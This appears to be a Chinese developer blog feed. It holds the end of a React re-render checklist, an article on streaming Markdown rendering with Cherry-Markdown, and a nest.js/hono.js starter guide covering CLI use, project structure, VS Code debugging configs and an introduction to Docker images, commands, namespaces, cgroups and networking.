  1. 所有纯展示组件都包 React.memo 了吗?
  2. 传给 memo 组件的函数都用 useCallback 缓存了吗?
  3. 对象/数组 props 都用 useMemo 缓存了吗?
  4. 状态是否放在“最近公共祖先”?
  5. 列表 key 用的是稳定 ID 而不是索引?
  6. 过滤/排序放在 render 里了吗?挪进 useMemo
  7. 有 props drilling 超过 3 层吗?考虑 Context 或状态库。
  8. 用 Profiler 录制一次主流程,确认没出现“黄色长条”。

六、写在最后

优化重新渲染,就像给 React 应用做“断舍离”:
少一点不必要的更新,多一点丝滑的体验。
把这 10 个招式练成肌肉记忆,你也能在 Code Review 时自信地留下那句:

“这段我 memo 过了,放心合并。”

祝你的下一次 npm start 不再闪屏,愿所有列表都如丝般顺滑。

如何快速实现markdown流式渲染

作者 泰达米尔
2025年12月9日 11:05

1、引言

在AI聊天场景中,Markdown内容的流式渲染变得越来越重要。传统的Markdown渲染器在处理流式内容时往往会遇到语法不完整导致的渲染异常问题。Cherry-Markdown作为一款功能强大的Markdown编辑器,专门针对流式渲染场景进行了深度优化,提供了稳定、高效的流式渲染能力。

2、流式渲染遇到的问题

录屏_20251209_103349.gif 上图是一个传统的Markdown流式渲染输出的效果,可见在传统的Markdown流式渲染中,开发者会遇到以下问题:

2.1、语法不完整导致的渲染异常

当Markdown内容以字符为单位逐步输出时,语法结构往往是不完整的:

  • 加粗/斜体语法**加粗内容 缺少闭合符号
  • 行内/段落代码块 ```javascript 缺少闭合的 ```导致会先显示markdown源码再渲染成代码高亮
  • 表格:表格分隔行不完整
  • 公式:数学公式符号不匹配
  • 标题: 会先显示##符号再渲染成标题
  • 超链接:会先显示[xxx](xxxx,最后再变成超链接
  • 图片、音视频:会先显示前面的源码,最后再变成图片或音视频
  • 无序列表:每次换行输出-时都会命中标题语法,先渲染成标题再渲染成无序列表
  • mermaid画图:渲染过程中由于结构不完整,会经常出现报错
  • 脚注:当脚注语法没有输出完全时,角标无法正常渲染

2.2、渲染性能问题

  • 频繁的DOM更新导致页面卡顿
  • 大量重绘和重排影响用户体验
  • 渲染间隔过长导致“视频”变“幻灯片”

2.3、用户体验不佳

  • 不完整的语法结构暴露给用户
  • 缺乏类似打字机的视觉反馈

3、使用Cherry-Markdown进行流式渲染的效果

录屏_20251209_104328.gif 上图是使用Cherry-Markdown进行流式渲染的效果,当然也可以在官方在线demo 直接进行体验,Cherry-Markdown通过以下特性解决了上述问题:

3.1 语法自动补全

开启流式渲染模式后,Cherry会自动补全以下语法元素:

  • 标题
  • 加粗、斜体
  • 超链接
  • 图片、音视频
  • 行内代码块
  • 段落代码块
  • 行内公式
  • 段落公式
  • 无序列表
  • 表格
  • mermaid画图
  • 脚注

3.2 性能优化

  • 渲染频率提升:渲染频率可达到10ms/次
  • 增量渲染:只更新变化的部分内容,尽可能的减少dom重绘区域,如下图: 录屏_20251209_104800.gif
  • 异步渲染处理:支持图表等异步内容的渲染

3.3 用户体验增强

  • 虚拟光标:提供类似打字机的视觉反馈
  • 稳定输出:避免语法不完整导致的渲染异常

4、如何使用

4.1 基础配置

const cherry = new Cherry({
  editor: {
    height: 'auto',
    defaultModel: 'previewOnly', // 纯预览模式适合流式场景
  },
  engine: {
    global: {
      flowSessionContext: true,     // 开启流式渲染
      flowSessionCursor: 'default', // 添加虚拟光标
    },
  },
  previewer: {
    enablePreviewerBubble: false,   // 关闭预览区编辑功能
  },
});

4.2 流式内容更新

// 模拟流式输出
function streamContent(content, cherryInstance) {
  let currentIndex = 0;
  const interval = setInterval(() => {
    if (currentIndex < content.length) {
      const currentText = content.substring(0, currentIndex + 1);
      cherryInstance.setMarkdown(currentText);
      currentIndex++;
      
      // 自动滚动到最新位置
      const previewer = cherryInstance.previewer.getDom();
      previewer.scrollTop = previewer.scrollHeight;
    } else {
      clearInterval(interval);
      // 流式输出完成后清除虚拟光标
      cherryInstance.clearFlowSessionCursor();
    }
  }, 30); // 30ms的更新间隔
}

// 使用示例
const content = `# 欢迎使用Cherry-Markdown流式渲染

这是一个**加粗文字**的示例。

\`\`\`javascript
console.log("Hello, World!");
\`\`\`

| 项目 | 价格 | 数量 |
|------|------|------|
| 计算机 | ¥1600 | 5 |
`;

streamContent(content, cherry);

4.3 高级配置选项

// 完整的高级配置
const advancedConfig = {
  engine: {
    global: {
      flowSessionContext: true,
      flowSessionCursor: '<span class="custom-cursor">|</span>', // 自定义光标
    },
    syntax: {
      image: {
        selfClosing: true,
        // 图片加载时的占位符
        selfClosingRender: (type, alt, src) => {
          return `<img src="loading.gif" alt="${alt}" data-src="${src}">`;
        }
      },
    }
  },
  // 事件监听
  callback: {
    afterAsyncRender: (markdown, html) => {
      console.log('异步渲染完成:', html);
    }
  }
};

5、总结

Cherry-Markdown的流式渲染功能为现代Web应用提供了强大的Markdown内容展示能力。通过语法自动补全、性能优化和用户体验增强,它完美解决了传统流式渲染中的各种问题。

主要优势:

  1. 稳定性:自动补全语法,避免渲染异常
  2. 高性能:10ms级的渲染频率,增量更新dom,支持大量内容流式展示
  3. 易用性:默认支持丰富的markdown语法和流式渲染机制,通过简单的配置即可实现复杂的流式渲染需求
  4. 扩展性:支持扩展自定义语法url处理事件处理

Cherry-Markdown的流式渲染功能让开发者能够专注于业务逻辑,而无需担心Markdown渲染的细节问题,是构建现代Web应用的理想选择。

nest.js / hono.js 一起学!开发前必备!

作者 孟祥_成都
2025年12月9日 10:56

前言

欢迎到我们的交流群一起交流各种前端技术,同时欢迎访问我的 headless 组件库,同时感谢你的 star:


nest.js / hono.js 一起学系列,最终会封装一个通用的架子,例如有鉴权,日志收集,多环境配置等等功能,用两种框架去实现。 之前写了两篇关于这两个框架编程思想相关的

这一篇主要是涉及到我们马上开发前需要具备的一些基础知识,包含:

  • 命令行工具使用
  • 最佳工程实践(目录规划篇)
  • 如何调试
  • docker 入门 + 深入 docker 基本原理

命令行上手

全局安装 CLI

建议,全局安装 CLI, 然后试着创建一个项目试试:

npm i -g @nestjs/cli
nest new project-name

后续,你按照命令行提示即可完成项目初始化,然后安装完包,最后看一下 package.json 中 scripts 中的启动命令是什么,启动项目即可。

hono.js 初始化项目是采用:

npm create hono@latest project-name

同样,你按照命令行提示即可完成项目初始化,然后安装对应的包即可,最后看一下 package.json 中 scripts 中的启动命令是什么,启动项目即可。

但是 hono.js 并没有类似 nest 的 cli 管理工具,毕竟 nest 的写法要繁琐很多,所以官方提供了一些快速创建模板的命令。可以通过以下命令查看:

nest --help

image.png

最常见的使用 generate 或者 g 来生成模板, 我们可以用 -d 命令,来让 cli 告诉你,你的 generate 或者 g 命令会生成什么文件,咱们来试试,假设我们要创建一个 名字为 user 的 class

nest g class user -d 

显示:

CREATE src/user/user.spec.ts (139 bytes)
CREATE src/user/user.ts (21 bytes)
Dry run enabled. No files written to disk.

注意最后一行: No files written to disk. 也就是没有真的把文件写入,而是提示如果你使用nest g class user 可能创建的文件有哪些。

还有,我们有时候不太喜欢测试,可以使用

nest g class user --no-spec

来省去测试文件的创建。

最佳工程实践

我们这里列举一些比较好的工程实践的点,欢迎大家一起讨论。

工程目录

我们采用”约定大于配置“的思想,无论使用什么 node.js 后端框架,我们的目录名尽可能一致。

nest.js 的建议,如果以下目录名意思不清楚没关系,后续学到控制器,service 等等章节的时候,就会明白了:

src/
├── modules/              # 核心:按业务领域划分的模块
│   ├── users/            # 用户模块
│   │   ├── dto/          # 数据传输对象(请求/响应结构)
│   │   ├── entities/     # 数据库实体
│   │   ├── users.controller.ts
│   │   ├── users.service.ts
│   │   └── users.module.ts
│   └── products/         # 产品模块(结构类似用户模块)
├── common/               # 共享资源
│   ├── filters/          # 全局异常过滤器
│   ├── interceptors/     # 拦截器
│   └── guards/           # 守卫
├── config/               # 全局配置
├── database/             # 数据库连接配置        
└── app.module.ts         # 应用根模块

核心设计原则:

  • 功能内聚:与“用户”相关的所有文件(控制器、服务、实体、DTO)都应放在 users 目录下。
  • 分层管理:使用 common、core 等目录管理跨模块共享的组件和全局配置。

hono.js 的建议如下,当然 config ,utils 这些比较常见的全局模块也可以提到第一层级,也就是 src 目录下:

src/
├── modules/                # 每个模块独立
│   ├── user/
│   │   ├── routes.ts       # 只放路由注册(薄层)
│   │   ├── controller/     # handlers 控制器层
│   │   │   ├── get-user.ts
│   │   │   ├── list-users.ts
│   │   │   ├── create-user.ts
│   │   │   └── update-user.ts
│   │   ├── service/        # 业务逻辑
│   │   │   └── user.service.ts
│   │   ├── repository/     # DB / 外部API
│   │   │   └── user.repo.ts
│   │   ├── middleware/     # 与 user 模块强相关的中间件
│   │   │   └── user-auth.middleware.ts
│   │   ├── validators/     # DTO / 校验器(zod / valibot)
│   │   │   ├── create-user.validator.ts
│   │   │   └── update-user.validator.ts
│   │   ├── dto/            # 请求 / 响应类型
│   │   │   ├── user.dto.ts
│   │   │   └── index.ts
│   │   ├── constants.ts    # 与 user 相关的常量
│   │   ├── index.ts        # 模块总出口
│   │   └── types.ts        # 模块相关类型
│   │
│   ├── product/
│   │   ├── routes.ts
│   │   ├── controller/
│   │   ├── service/
│   │   ├── repository/
│   │   ├── middleware/
│   │   ├── validators/
│   │   └── dto/
│   │
│   └── auth/
│       └── ...
│
├── common/                 # 全局复用层(不属于任何模块)
│   ├── app.ts              # app 初始化(全局中间件、错误处理)
│   ├── router.ts           # 合并 modules 的 routes
│   ├── middlewares/        # 全局中间件
│   ├── config/             # 配置(DB、ENV等)
│   ├── utils/              # 工具
│   ├── errors/             # 全局错误类
│   ├── types/              # 全局类型
│   └── logging/            # 日志系统
|    # 也可以把一些重要模块单独放在根目录,例如 config , log
│
└── index.ts                # 启动文件

注意:也可以把一些重要模块单独放在根目录,例如 config , log等等,看业务需要。

最后,我们可以借鉴一下 angular 团队的一些代码风格指南。例如

  • 总则

    • 坚持每个文件只定义一样东西(例如服务或者组件)
    • 考虑把文件大小限制在 400 行代码以内
    • 坚持定义简单函数来组装复杂函数
  • 命名

    • 使用点和横杠来风格文件名,不建议驼峰
    • 坚持在描述性名字中,用横杠分割单词
    • 坚持遵守先描述组件特性,再描述它的类型的模式,例如 feature.type.ts

调试

接下来介绍一下,如何借助 vscode(其它编辑器,cursor,trae 是同样的方式),来调试 nest.js 和 hono.js 代码

首先我们简单介绍一下如何调试单文件 node.js 文件,这个对于我们 demo 也算比较有用。

首先,随便在跟目录建一个 index.js

image.png

然后我们在第 6 行,打了一个断点,可以看到红色标记。然后再根目录,建立一个 .vscode 文件夹,文件夹内建立一个 launch.json

image.png

接着点击 如下的 bug 按钮,就可以调试了

image.png

调试 nest

调试 nest 和 hono 都很相似,只是 launch.json 的配置不一样,

我们 launch.json 的配置如下(调试 nest 的):

{
  // 配置文件的版本号,遵循VSCode调试协议。0.2.0是当前常用版本。
  "version": "0.2.0",
  // 定义调试配置的数组,一个文件可以包含多个独立的调试配置。
  "configurations": [
    {
      // 指定调试器类型。`node` 表示使用Node.js调试适配器,用于调试JavaScript/TypeScript。
      "type": "node",
      // 调试请求类型。`launch` 表示启动一个新程序进行调试;另一种是`attach`(附加到已运行进程, 这个不纠结,我们都用 launch)。
      "request": "launch",
      // 在VSCode调试下拉菜单中显示的名称,随便起个就行。
      "name": "Launch Program",
      // 指定实际用来运行程序的命令。这里使用`pnpm`包管理器作为启动器。
      // 如果不设置此项,默认值为`node`。
      "runtimeExecutable": "pnpm",
      // 传递给`runtimeExecutable`(pnpm)的命令行参数。
      // 等同于在终端执行:`pnpm run start:dev`
      "runtimeArgs": ["run", "start:dev"],
      // `runtimeVersion`主要用于通过`nvm`等版本管理器切换Node版本。
      "runtimeVersion": "20.16.0",
      // 调试时跳过(不进入)的文件。
      // `<node_internals>/**` 表示跳过所有Node.js内置核心模块代码,使调试更聚焦于应用自身。
      "skipFiles": [
        "<node_internals>/**"
      ]
    }
  ]
}

这里的关键是什么呢,就是 runtimeExecutable + runtimeArgs, runtimeExecutable 代表我们执行的命令使用 pnpm, 你可以改为 yarn, npm,都行,然后执行的命令参数runtimeArgs,合起来就是

pnpm run start:dev

为什么这样呢,因为 start:dev 是 nest.js 的 package.json 中注明的启动开发环境的命令,如下:

"scripts": {
    "build": "nest build",
    "format": "prettier --write \"src/**/*.ts\" \"test/**/*.ts\"",
    "start": "nest start",
    "start:dev": "nest start --watch",
    "start:debug": "nest start --debug --watch",
    "start:prod": "node dist/main",
    "lint": "eslint \"{src,apps,libs,test}/**/*.ts\" --fix",
    "test": "jest",
    "test:watch": "jest --watch",
    "test:cov": "jest --coverage",
    "test:debug": "node --inspect-brk -r tsconfig-paths/register -r ts-node/register node_modules/.bin/jest --runInBand",
    "test:e2e": "jest --config ./test/jest-e2e.json"
  },

当然,你可以用 start 命令,start:debug 命令都行,假设就用

 // 指定实际用来运行程序的命令。这里使用`pnpm`包管理器作为启动器。
      // 如果不设置此项,默认值为`node`"runtimeExecutable": "pnpm",
      // 传递给`runtimeExecutable`(pnpm)的命令行参数。
      // 等同于在终端执行:`pnpm run start:dev`
      "runtimeArgs": ["run", "start:dev"],

然后我们在 app.controller.ts 上打个断点:

image.png

然后启动调试

image.png

点击后,相当于在命令行输入:

pnpm run start:dev

接着你浏览器访问 http://localhost:3000 就能触发断点了!

调试 hono

所以根据上面的理论,我们来创建一个 launch.json,用来调试 hono

{
  "version": "0.2.0",
  "configurations": [
    {
      "type": "node",
      "request": "launch",
      "name": "Launch Program",
      "runtimeExecutable": "pnpm", // 核心:告诉调试器用pnpm来运行
      "runtimeArgs": ["run", "dev"], // 传给pnpm的参数:运行“dev”脚本
    }
  ]
}

同理,其实就是触发了:

pnpm run dev

命令, dev 这个命令其实就是 hono 项目 package.json 中的内容:

  "scripts": {
    "dev": "tsx watch src/index.ts",
    "build": "tsc",
    "start": "node dist/index.js"
  }

容器部署

接下来是很长的关于 docker 和我们前端全栈相关的知识,有深入的原理介绍,有兴趣的同学可以一起交流。

为什么需要 Docker?

即便是纯前端开发者,不涉及 Node.js、Nginx 或数据库等服务器相关软件,在中小企业部署应用时,后端团队或项目经理常常会要求前端团队提供一个 Dockerfile,以便将前端应用部署到 Nginx 上。这种要求在容器化时代变得越来越普遍。所以是有必要了解容器的知识的。

容器化的基本概念

在容器化时代,通常通过 Dockerfile(用于描述如何构建 Docker 容器的配置文件)构建开发或生产环境的 Docker 镜像,然后启动这些镜像,使外部网络可以访问对应的应用。

在 Docker 流行之前,前端应用的部署方式一般是直接在服务器上下载相关软件(如 Nginx、MySQL 或 PostgreSQL),配置并启动服务,再将打包后的前端内容放入 Nginx 的指定目录,以便外部访问。这种方式被称为物理机直接部署。

为何转向容器化部署?

容器化部署的优势主要体现在以下两个方面,我们用前端的视角去理解:

  1. 环境一致性
  • 前端常见的问题,为什么在 Chrome 中功能正常,但在其他浏览器中却无法运行?
  1. 简化环境配置
  • 前端项目通常需要配置 ESLint、Prettier、TSConfig、Vite/Webpack 等工具。这些配置繁琐,且需要一定的知识才能定制适合项目的配置。为了解决这些问题,前端社区提供了许多 CLI 工具,如 React 的 create-react-app、Vue 的 Vue CLI、Next.js 的 @nextjs/cli 等,这些工具为项目提供了现成的模板,并在 Babel/SWC 和 Browserslist 的配置中解决了兼容性问题。

同样,服务器端也面临环境一致性和配置繁琐的问题,并且这些问题相当棘手。为什么会这样呢?我们可以回顾一下 Docker 流行之前的 PaaS 项目。

PaaS 的背景

PaaS(Platform as a Service)是云计算的重要服务模型,旨在提供一个完整的应用开发、运行和管理环境,使开发者能够专注于编写代码,而无需担心底层基础设施或操作系统。

PaaS 受欢迎的原因

PaaS 项目受到广泛接纳的一个主要原因是它提供了“应用托管”能力。如今,许多人使用阿里云、腾讯云、AWS 等云服务,实际上就是将本地应用托管到云端。然而,这一部署过程常常会遇到云端虚拟机与本地环境不一致的问题。因此,当时的云计算服务竞争的焦点在于谁能更好地模拟本地服务器环境,从而提供更优质的“上云”体验。而开源 PaaS 项目的出现,正是为了有效解决这一问题。

docker 的出现

正当大家比谁能更好模拟本地服务器环境的时候,docker 跳出来说,对不起,在做的各位都是垃圾。。。我能完全模拟本地服务器环境,嘿嘿!

并且 docker 提供了非常便捷的打包机制, 并且这个压缩包包含了完整的操作系统文件和目录,也就是包含了这个应用运行所需要的所有依赖。只需:

docker build 打包自己的服务
docker run 启动自己的服务

如此,docker 轻松击败了 pass 本身的打包机制,后来逐渐使容器技术成为云服务的基础设施之一。

你可以想象,就跟前端使用 vite 和 webpack 一样,一键 npm run build xxx 打包后,你的前端应用能在各个浏览器上运行,并帮助我们解决了浏览器兼容性问题,如此便捷,谁能不喜欢这样的技术呢?

所以这个小节我们可以回答常见的面试题:

  • 为什么需要容器化 (docker)?

既然 docker 这么好用,那 docker 镜像,docker 容器,docker 镜像仓库等等常见概念是什么意思呢?我们拿前端的 npm 包管理来帮助我们理解。

Docker 必需了解的基础概念

1. Docker 镜像和 Docker 容器

镜像(Image)和容器(Container)的关系,就像是面向对象程序设计中的 实例 一样,镜像是静态的定义,容器是镜像运行时的实体。

  • Docker 镜像 是一个特殊的文件系统,除了提供容器运行时所需的程序、库、资源、配置等文件外,还包含了一些为运行时准备的一些配置参数(如匿名卷、环境变量、用户等)。
  • Docker 容器的实质就是一个进程,但是跟普通进程不一样的是,因此容器可以拥有自己的 root 文件系统、自己的网络配置、自己的进程空间,甚至自己的用户 ID 空间。容器内的进程是运行在一个隔离的环境里,使用起来,就好像是在一个独立于宿主的系统下操作一样。

2. Dockerfile

dockerfile 是一个文本文件,包含了一系列指令,一般我们都是用这个文件配合 docker build 命令来构建 docker 镜像。

3. Docker Client、Docker hub、Docker Daemon

关系如下图:

上图中涉及 3 个重要的概念

  • Docker Hub:Docker Hub 是一个云端托管的Docker镜像库,用户可以在其中存储和共享 docker 镜像。它类似于 npm 仓库。
  • Docker Daemon:守护进程是一个后台服务,负责管理 docker 容器和镜像。它监听来自的 docker 客户端的命令,并执行相应操作。
  • Docker Client:允许用户与守护进程交互的命令行工具。

【延伸补充】深入原理1:一定要理解 Docker 镜像的分层的原理

上面我们说了,Docker 镜像 是一个特殊的文件系统,其中有一个特别重要的特性,称之为文件系统分层。为了说明这个原理,我们需要从 linux 本身的文件系统讲起。

首先 linux 启动的时候,首先加载的是 bootfs 文件系统,它包含了 boot 加载器和 kernel 内核。kernel 内核作用是什么呢?我们知道计算机是由硬件构成的,例如 cpu、主板、外设、内存等等,最终这些硬件会被操作系统接手管理,例如,将在硬盘的程序映射为一个个动态的进程,然后增加 cpu 调度算法,让每个进程按照特定的规则不断运行,还需要管理内存,不断的读取内存指令给 cpu 运行。。。

然后 linux 会挂在 rootfs 文件系统,什么是 rootfs 呢?作用是什么呢?我们知道在玩 windows 操作系统的时候,C 盘一般都是用来存储操作系统相关的文件的,例如 C 盘下的 Program Files 一般用来存放操作系统相关的配置文件。

而 linux 中的 rootfs 在初始化的时候,也是把操作系统相关的文件放入其中。linux 有很多不同的发行版本,例如 centos,ubantu 等等,他们都有自己的 rootfs,规则有所不同。

而上面说的两个文件系统,在 docker 中,并不是混在一起的,而是如上图分层了的,这意味着,如果正在使用不同的 docker 镜像,他们最底层的 bootfs 很可能是一样的(相同的 linux 版本),那么这些镜像就可以共享这一层,而不是每个镜像都分别有一个 bootfs。

同理 rootfs 也是一样,如果我们使用的镜像都是基于 ubantu 的 linux 发行版本,版本号也是一样的话,那么 rootfs 也是可以共享的。

这样就会大大降低 docker 的体积,这也是为什么大家说 docker 轻量的原因。

docker 镜像本身提供的这些数据层是只读的,我们后续用 dockerfile 去自定义我们自己的镜像时,实在可读层上面加一个读写层,但是修改 docker 的,所以共享底层的数据层也不会影响我们定制化的 docker 镜像。

为什么理解分层如此重要呢?我们举个例子(以下 dockerfile 文件每个命令是什么意思会详细讲解,现在不用在意),以下 docker file 中,我们注意 RUN 命令:

FROM ubuntu:20.04

RUN apt-get update
RUN apt-get install -y python3
RUN apt-get install -y python3-pip
RUN apt-get clean

这里执行了 4 个 RUN 命令,而每个 RUN 命令都会单独在 docker 镜像上建立一个单独的读写层,这样会增大构建后的 docker 镜像体积,我们可以将其合并:

FROM ubuntu:20.04

RUN apt-get update && \
    apt-get install -y python3 python3-pip && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

同样的,如果分层中,分层的内容没有变,docker 会重复利用这些已经打包好的层,什么意思呢?我们前端应用打包的时候,往往 package.json/package.lock.json 的依赖是没有变化的,所以我们如果能利用之前已经下载好的 npm 包的层,就不用重复下载了。

# 使用 Node.js 作为基础镜像
FROM node:22-slim

# 将 package.json 和 package-lock.json 复制到容器中
COPY package*.json ./

# 安装依赖(会在此层缓存 node_modules)
RUN npm install

# 复制应用程序的其他源代码到容器中
COPY . .

# 暴露应用程序运行的端口
EXPOSE 3000

# 启动应用程序
CMD ["npm", "start"]

以上我们会看到 RUN npm install 这一步,如果命令跟以前一样,会利用缓存,不会下载 npm 包,具体缓存规则,官方叙述如下(建议后续看完 dockerfile 章节后再回来看这部分,非常重要):

在镜像的构建过程中,Docker 会遍历 Dockerfile 文件中的指令,然后按顺序执行。在执行每条指令之前,Docker 都会在缓存中查找是否已经存在可重用的镜像,如果有就使用现存的镜像,不再重复创建。如果你不想在构建过程中使用缓存,你可以在 docker build 命令中使用 --no-cache=true 选项。 但是,如果你想在构建的过程中使用缓存,你得明白什么时候会,什么时候不会找到匹配的镜像,遵循的基本规则如下:

  • 从一个基础镜像开始(FROM 指令指定),下一条指令将和该基础镜像的所有子镜像进行匹配,检查这些子镜像被创建时使用的指令是否和被检查的指令完全一样。如果不是,则缓存失效。
  • 在大多数情况下,只需要简单地对比 Dockerfile 中的指令和子镜像。然而,有些指令需要更多的检查和解释。
  • 对于 ADDCOPY 指令,镜像中对应文件的内容也会被检查,每个文件都会计算出一个校验和。文件的最后修改时间和最后访问时间不会纳入校验。在缓存的查找过程中,会将这些校验和和已存在镜像中的文件校验和进行对比。如果文件有任何改变,比如内容和元数据,则缓存失效。
  • 除了 ADDCOPY 指令,缓存匹配过程不会查看临时容器中的文件来决定缓存是否匹配。例如,当执行完 RUN apt-get -y update 指令后,容器中一些文件被更新,但 Docker 不会检查这些文件。这种情况下,只有指令字符串本身被用来匹配缓存。

一旦缓存失效,所有后续的 Dockerfile 指令都将产生新的镜像,缓存不会被使用。

【延伸补充】深入原理2:一定要理解什么是构建上下文

上面有一个很容易混淆的路径问题,COPY package*.json ./ 中 package*.json 指的并不是 docker build 命令的目录,也不是 Dockerfile 所在的目录,而是执行上下文的目录。执行上下文目录我们是在 docker build 的时候指定的,这里我们指定的 .,表示执行 docker build 命令时的目录。

为什么这个概念如此重要,很有可能你你设置的不对,根本找不到 package*.json,例如你这样

COPY ../package*.json ./

../package*.json,指的是构建上下文上一层目录的 package*.json,其实是找不到的,因为我们将构建上下文复制到 docker host 的时候,docker 只会复制构建上下文内的内容(并且除开 .dockerignore file 指定的排除的内容)。

所以你在构建上下文之外找 package*.json,肯定是找不到的。

并且有相当多网上的人误以为 . 是指定 Dockerfile 所在目录呢?这是因为在默认情况下,如果不额外指定 Dockerfile 的话,会将上下文目录下的名为 Dockerfile 的文件作为 Dockerfile。

这只是默认行为,实际上 Dockerfile 的文件名并不要求必须为 Dockerfile,而且并不要求必须位于上下文目录中,比如可以用 -f ../Dockerfile.php 参数指定某个文件作为 Dockerfile

当然,一般大家习惯性的会使用默认的文件名 Dockerfile,以及会将其置于镜像构建上下文目录中。

最后最最重要的就是需要写一份 .dockerignore 文件,例如,我们前端项目往往都有 node_modules 目录,而且体积相当大,所以没必要将其复制到 docker host。

  • 这会显著增加镜像的体积,从而影响镜像构建时间和传输效率。
  • node_modules 中的某些依赖可能是平台相关的(例如,使用了原生代码或编译步骤),在不同的操作系统(如 Windows 和 Linux)上会有所不同。

好了,我们接着编写完 dockerfile 文件继续说。

然后,就可以运行 docker 镜像

docker run -d -p 3000:80 react-app
  • -d:以后台模式运行容器。
  • -p 3000:80:将本地的 8080 端口映射到容器的 80 端口。

然后本地访问 localhost: 3000,或者你的机器有外网地址,使用 <外网地址>: 3000,访问即可。

这里还会牵扯到一个需要深入讨论的内容,就是容器网络的原理,我们后续再谈。

这里我们总结一下一些常用的 docker 命令,帮助大家快速用起来 docker。

常用命令总结

下载镜像:docker pull <镜像名>,例如下载 node.js 22 版本的镜像

docker pull node:22-slim

注:可以用 docker hub 来搜索支持的版本。方法如下:

  • 进入docker hub的官网,地址:hub.docker.com
  • 然后搜索需要的镜像:

image.png

  • 查看镜像支持的版本:

image.png


列出镜像:

docker images 

删除镜像:docker rmi -f <镜像名>,例如:

docker rmi -f nginx

新建并启动容器:docker run -d -p <本地端口>:<容器端口> <镜像名>,例如

docker run -d -p 80:80 --name nginx nginx:1.17.0
  • -d 选项:表示后台运行

  • --name 选项:指定运行后容器的名字为nginx,之后可以通过名字来操作容器

  • -p 选项:指定端口映射,格式为:hostPort:containerPort

列出容器:

docker ps

查看运行中的容器

docker ps

如果加入 -a 参数,即使暂停的容器也会被列出来。

停止容器

docker stop <容器ID | 容器名字>

删除容器

docker rm <容器ID | 容器名字>

在宿主机查看docker使用cpu、内存、网络、io情况:

docker stats <容器ID | 容器名字>

进入Docker容器内部的bash

docker exec -it <容器名字> /bin/bash

注意,有的镜像里面没有 bash 命令,例如 nginx,可以将 /bin/bash 改为 /bin/sh

以上的知识,足够前端应付常见的场景了,遇到问题搜索一下,看懂也不是难事。其实容器的网络,是比较特殊的,因为容器实际上看起来是有自己独立的文件系统,独立的网络,独立的进程的(也就是在容器中,你会看懂容器进程的 id 是 1)等等。

既然有自己独立的网络,那么容器的网络如何跟外界打通,原理又是什么呢?(这个问题特别重要,无论对于你自己本地调试,还是生产环境解决容器无法访问的问题)

既然有自己独立的文件系统,那么容器销毁,容器里面的文件也随之销毁,那么容器如何做到将文件跟物理机上的文件系统共享的呢?

【延伸补充】深入原理3:docker 容器的底层三大核心技术

三大核心技术分别是 namespace、Cgroup 以及联合文件系统,联合文件系统上面已经讲了,现在就剩下 namespace 和 Cgroup 了。我们先来看看 pid namespace 是什么。

首先再次强调,容器就是一个进程。举个例子

我们首先使用以下命令来获取到容器的进程 id 为 2526

docker inspect <容器 id> | grep Pid 

然后使用 ps 命令来过滤出 2526 进程

ps -ef | grep 2526

发现确实有对应的进程。

但是跟普通进程不一样的是,容器的进程利用 namespace 技术,让我们进入容器后,发现容器主进程的 pid 是 1 ,而不是 2526。也就是容器使用了"障眼法",来让自己跟别的容器都隔离开。就拿进程隔离来说,容器是如何修改进程视图的呢?如下图:

如上图,1、2、3、4、5、6、7、8、9、10,都是在物理机操作系统上的进程号(PID),而进入容器后,PID 8 是容器的主进程,linux 将其修改为进程号(PID)为 1,子进程也同样修改 PID,这样你在容器里,看到主进程是 PID 1,但是你退出容器,查看这个容器的进程号,就是 8。

namespace 不仅仅隔离了进程的 pid,还包括网络、用户、IPC 等等。接着我们看看 Cgroup 是什么。

你想想,虽然视图可以改变,但是却没法限制这个容器对 cpu 的使用,所以是有可能单个容器把 cpu 跑满的。所以如果能限制 cpu、内存的使用就更好了,Cgroup 就是做这个事的。

Cgroup 的原理如下图:

Cgroup 对不同资源进行了分组,例如 cpu 总共是 100%,假设分配给某个容器是 25%,当你进入容器中,你看到的自己 cpu 总共是 100% ,也就是这个容器里的 100% 是假的,其实是从真实的 25% 里面去分的。

Cgroup 如何操作是有对应的 linux 命令的,这里我们就不深入了,因为性价比并不高,用好 docker 就可以了。

【延伸补充】深入原理4:docker 容器网络的秘密

为了更通俗的解释 docker 的桥接网络,我们先从计算机网络基本的知识讲起:

如下图,只需要一根网线相互连接,然后在计算机上配置一下自己的 ip 地址(在一个网段里),两台计算机就可以相互通信了。例如 A 计算机的 ip 我们写死 ip 到网卡,地址为 192.168.1.1/24,B 计算机是 192.168.1.2/24 ,他们都是 192.168.1.xxx 网段。

有些同学可能不理解,为啥要分配 ip 地址?因为我们很多通信协议是基于 ip 协议的,例如 http,tcp。所以必须分配 ip 地址,才能让数据包走出网卡。我们接着聊:

现在我们多加一些电脑,这时候一根网线肯定就不够了,我们就加入一个交换机(虚拟交换机是有 ip 的,但是现实生活中的交换机是没有 ip),如下图

假设交换机的 ip 是 192.168.1.1/24,这个交换机还可以自动分配 ip(dhcp协议),只要计算机连接交换机,就会自动分配一个不重复的 ip 地址,那么多台计算机互相通信就解决了。

其实 docker 内部默认有一个叫做 docker0 的网桥,这个网桥工作机制就跟我们上面说的交换机类似。而容器默认情况下,会连接 docker 0 网桥。如下图:

这样容器之间互通的问题我们就解决了。

那么如何解决容器跟外部网络通信的问题,例如某个容器去访问微信登录。

如下图,其实 docker0 是连接到我们真实物理机的网卡 eth0 来转发数据,从而让容器的数据通过 -> docker0 -> eth0 发送到计算机外部

这里又有问题了,容器内部的 ip 往往是一个内部地址,什么是内部地址?你会看到,我们前端启动前端应用,经常看到启动的 ip 地址是 192.168.x.x,你回到家启动前端应用分配的地址居然是一样的 192.168.x.x。我们知道 ip 地址必须全网唯一,为啥在家里分配的 ip 和在公司分配的 ip 一样呢?

这是因为 ip 地址规定了一些只能在内网通讯的地址,不能用在外网,例如 192.168.x.x 就是不会用在外部网络访问的 ip 地址。

这对于 docker 容器访问外部网络就有问题了,你想想 docker容器 -> docker0 -> eth0 将数据包传给了微信服务器,微信服务不能说我回传的 ip 地址是 docker容器的 ip,因为 docker容器的 ip 是内部地址,不能在网络上传输。

这里又涉及一个概念,叫 nat 转换,也就是 docker 容器将数据包传给 eth0 的时候,会改写自己数据包发送端的 ip 地址为 eth0 的公网地址。

这样就解决了容器访问外部网络的问题了。

问题又来了哦,那返回给 eth0 的数据,如何知道这个数据包最终转发给哪个容器呢?这里涉及到一个叫做 iptables 的工具(NAT 转换也是依赖它),它可以记录转发规则,例如如果这个数据是从 80 端口出去的,那么返回的时候,就返回给 A 容对应的内部 ip。

